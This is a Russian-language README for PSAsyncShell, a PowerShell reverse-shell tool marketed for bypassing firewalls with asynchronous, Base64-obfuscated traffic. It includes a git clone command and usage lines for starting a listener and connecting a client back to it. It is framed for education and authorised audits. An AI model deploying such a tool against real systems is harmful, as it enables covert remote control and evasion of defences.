
Асинхронный TCP reverse shell на чистом PowerShell, обходящий файрволы с помощью неблокирующего ввода-вывода, с историей команд, загрузкой/выгрузкой файлов и обфусцированным трафиком Base64.

PSAsyncShell — это асинхронный TCP-реверс-шелл, написанный на чистом PowerShell.
В отличие от других реверс-шеллов, весь поток связи и выполнения происходит асинхронно, что позволяет обходить некоторые файрволы и средства защиты от подобных удалённых подключений.
Кроме того, этот инструмент поддерживает историю команд, очистку экрана, загрузку и выгрузку файлов, разбиение информации на чанки, а также обратный трафик, закодированный в Base64 URL и обфусцированный.
Рекомендуется клонировать полный репозиторий или скачать zip-архив. Вы можете сделать это, выполнив следующую команду:
git clone https://github.com/JoelGMSec/PSAsyncShell
.\PSAsyncShell.ps1 -h
____ ____ _ ____ _ _ _
| _ \/ ___| / \ ___ _ _ _ __ ___/ ___|| |__ ___| | |
| |_) \___ \ / _ \ / __| | | | '_ \ / __\___ \| '_ \ / _ \ | |
| __/ ___) / ___ \\__ \ |_| | | | | (__ ___) | | | | __/ | |
|_| |____/_/ \_\___/\__, |_| |_|\___|____/|_| |_|\___|_|_|
|___/
---------------------- by @JoelGMSec -----------------------
Info: This tool helps you to get a remote shell
over asynchronous TCP to bypass firewalls
Usage: .\PSAsyncShell.ps1 -s -p listen_port
Listen for a new connection from the client
.\PSAsyncShell.ps1 -c server_ip server_port
Connect the client to a PSAsyncShell server
Warning: All data will be sent unencrypted
Upload function doesn't use MultiPart
Этот проект распространяется под лицензией GNU 3.0 — подробнее см. в файле LICENSE.
Этот инструмент создан и разработан с нуля Джоэлем Гомесом Молиной // @JoelGMSec
Данное программное обеспечение не предоставляет никаких гарантий. Оно предназначено исключительно для использования в образовательных целях и/или аудитах безопасности с соответствующего согласия клиента. Я не несу ответственности за его неправомерное использование или любой возможный ущерб, причинённый им.
Для получения дополнительной информации вы можете найти меня в Twitter: @JoelGMSec и в моём блоге darkbyte.net.
Вы можете поддержать мою работу, купив мне кофе: